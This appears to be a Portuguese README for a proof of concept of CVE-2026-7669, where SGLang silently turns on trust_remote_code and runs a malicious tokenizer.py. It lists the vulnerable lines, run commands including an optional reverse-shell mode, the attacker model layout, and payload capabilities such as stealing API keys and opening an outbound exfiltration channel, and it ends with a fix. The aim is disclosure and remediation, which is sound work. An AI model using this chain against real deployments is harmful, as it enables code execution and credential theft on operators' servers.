
PoC para CVE-2026-7669: substituição silenciosa de trust_remote_code no SGLang -> RCE
O SGLang silenciosamente substitui trust_remote_code=False por True e re-invoca
AutoTokenizer.from_pretrained sempre que o transformers v5 retorna um
objeto TokenizersBackend. Um modelo com um tokenizer_class personalizado e um
auto_map apontando para tokenizer.py alcança execução arbitrária de código
dentro do processo do SGLang mesmo quando o operador passou False. Nenhuma linha
de log é emitida em nenhum nível.
main atual (commit fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Altaif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Introduzido no PR #17784
(commit d1e95af28, 2026-03-18). O aviso original logger.info(...)
foi removido pelo commit 27ac831a8 (2026-03-23) sob um título "docs: improve CI
and testing documentation", deixando a substituição totalmente silenciosa em
todas as versões vulneráveis lançadas.
git clone https://github.com/<sua-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Constrói uma imagem Docker (python:3.12.7-slim-bookworm + transformers==5.3.0
Outros modos:
./run.sh --server reproduzir via TokenizerManager.__init__
./run.sh --versions matriz transformers 5.0..5.5
./run.sh --revshell IP reverse shell opcional para IP:4444
./run.sh --rebuild forçar reconstrução --no-cache
./run.sh --copy-ledger ./ledger.json
Saída 0 significa confirmado. Resumo final:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (lento) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Alta
*** VULNERABILIDADE CONFIRMADA -- TODAS AS AFIRMAÇÕES COMPROVADAS ***
Códigos de saída:
| Código | Significado |
|---|---|
| 0 | Confirmado |
| 1 | Não acionado |
| 2 | Falso positivo (o próprio transformers executou tokenizer.py, o bug é upstream) |
| 3 | Pré-verificação de versão fixada falhou |
A fase de pré-verificação lê pinned_versions.json e valida cada valor
contra o ambiente de execução. Desvios saem com código 3 antes de qualquer teste ser executado.
| Componente | Fixação |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Commit do SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 de hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| Bloco vulnerável (linhas 898-909) SHA256 | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Métrica | Valor | Comprovado por |
|---|---|---|
| AV | N | Os arquivos de gatilho (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) são o layout padrão auto_map do HF Hub. Qualquer registro que os sirva alcança o bug. |
| AC | L | PHASE-2 dispara deterministicamente em uma única execução. Cada condição de gatilho é conteúdo criado pelo atacante. PRE-1..7 confirmam que não há fingerprinting de ambiente. |
| PR | N | Upload gratuito no HF Hub é suficiente. Nada na cadeia de gatilho exige privilégio pré-existente na vítima. |
| UI | R | O gatilho dispara apenas quando um operador (ou pipeline configurado pelo operador) invoca launch_server --model-path attacker/model. |
| S | U | Todas as afirmações SEV-* são executadas dentro da autoridade do processo SGLang. Nenhuma fuga de sandbox ou contêiner. |
| C | H | SEV-secrets captura HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY do ambiente do processo. SEV-network abre um canal de exfiltração TCP de saída. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip são quatro primitivas de integridade independentes em locais sensíveis diferentes. |
| A | H | Inferido a partir de RCE. SEV-pip prova execução arbitrária de subprocessos, que é a mesma primitiva necessária para auto-DoS. O PoC não demonstra diretamente um auto-kill. |
8.8 é o piso conservador. 9.6 (com S:C) e 10.0 (com S:C e
UI:N) são defensáveis, mas dependem do revisor.
UI:N não é justificado para este CVE. O servidor HTTP do SGLang tem um
bypass genuíno de sem-autenticação padrão quando api_key=None e admin_api_key=None
(verificado por AUTH-1 contra a primitiva decide_request_auth em
tempo de execução), mas nenhum endpoint HTTP alcança get_tokenizer após a inicialização
(verificado por CHAIN-1). Todos os quatro pontos de chamada de get_tokenizer
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) disparam uma vez na inicialização do servidor a partir do
--model-path fornecido pelo operador. O bypass de autenticação é, portanto, uma questão
separada e não um parceiro de cadeia para CVE-2026-7669.
O PoC grava um registro JSON em /tmp/poc_claim_ledger.json com 29
afirmações individualmente testáveis. Use ./run.sh --copy-ledger ./ledger.json
para extraí-lo.
| Grupo | Afirmações |
|---|---|
PRE-1..7 | Versões fixadas (Python, transformers, SHA256 do arquivo, contagem de linhas, SHA256 do bloco de substituição, trust_remote_code padrão, caminho do código-fonte) |
SRC-1 | O código-fonte importado de get_tokenizer contém a substituição |
PHASE-1 | transformers respeita trust_remote_code=False diretamente |
PHASE-1b, PHASE-1b-mech | SGLang sem as linhas 898-909 respeita False e faz exatamente uma chamada from_pretrained |
PHASE-2, PHASE-2-mech, PHASE-2-silent | SGLang real executa tokenizer.py. O trace mostra chamada 0 (False)->TokenizersBackend, chamada 1 (True)->MaliciousTokenizer. Nenhuma linha de log menciona trust_remote_code (captura DEBUG no logger raiz e sglang). |
PHASE-2b | Corrigido + True explícito ainda carrega (o patch é cirúrgico) |
PHASE-3-rce, PHASE-3-via-override | O modo tokenizer lento também alcança RCE através do mesmo caminho 898-909 |
SEV-write-sglang, SEV-write-launchsrv, SEV-write-model | Primitivas de persistência e propagação lateral |
SEV-network | Canal de exfiltração TCP de saída |
SEV-secrets | Captura de segredos de variáveis de ambiente |
SEV-pip | Instalação pip arbitrária (cadeia de suprimentos) |
SEV-root | Processo executando como root na imagem lmsysorg |
AUTH-1 | ServerArgs padrão (api_key=None, admin_api_key=None) deixa todos os endpoints alcançáveis sem autenticação |
Arquivos de modelo de gatilho (todos controlados pelo atacante, todos permitidos pelo HF Hub):
attacker/model/
config.json model_type "gpt2" (em TOKENIZER_MAPPING_NAMES do transformers)
tokenizer_config.json tokenizer_class personalizado + auto_map -> tokenizer.py
tokenizer.json tokenizer BPE válido (para que o primeiro carregamento tenha sucesso)
tokenizer.py payload
model.safetensors pesos fictícios
Fluxo de execução dentro de get_tokenizer(MODEL_DIR, trust_remote_code=False):
AutoTokenizer.from_pretrained(..., trust_remote_code=False).tokenizer_class personalizado que não está em seu
registro, recorre a um TokenizersBackend genérico construído a partir de
tokenizer.json. tokenizer.py não é executado neste ponto.type(tokenizer).__name__ == "TokenizersBackend"
e tentam novamente silenciosamente com trust_remote_code=True.tokenizer.py.
Declarações de nível superior são executadas dentro do processo do SGLang.O PHASE-2-mech do PoC captura o trace literalmente:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
Exclua as linhas 898-909. TokenizersBackend é um tokenizer utilizável para muitas
cargas de trabalho e retorná-lo como está é um padrão seguro. Se um modelo realmente
precisar de código de tokenizer personalizado, o operador deve passar --trust-remote-code
explicitamente.
Alternativamente, registre um aviso alto e retorne TokenizersBackend sem
re-invocar from_pretrained:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2b verifica que o patch mínimo é cirúrgico: trust_remote_code=True
explícito ainda carrega o modelo.
trust_remote_code do HuggingFace: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedEste PoC é para pesquisa de segurança defensiva e remediação. O
tokenizer.py malicioso grava apenas em /tmp/sglang_poc_proof.txt
dentro do contêiner por padrão. Não execute contra sistemas que você não
possui ou para os quais não tem autorização para testar.
ADMIN_OPTIONALAUTH-2, AUTH-3 | Controles positivos confirmando que o middleware bloqueia sem autenticação e aceita bearer válido quando configurado |
CHAIN-1 | Nenhum handler de endpoint HTTP invoca get_tokenizer() após a inicialização (zero pontos de chamada em http_server.py) |
CHAIN-2 | Veredito explícito: UI:N NÃO é justificado para este CVE. O bypass de sem-autenticação padrão é real, mas não pode alcançar a substituição de trust_remote_code, porque todos os quatro chamadores de get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) são caminhos __init__ disparados uma vez na inicialização do servidor. O operador ainda escolhe o caminho do modelo no momento do launch_server, então UI:R permanece. |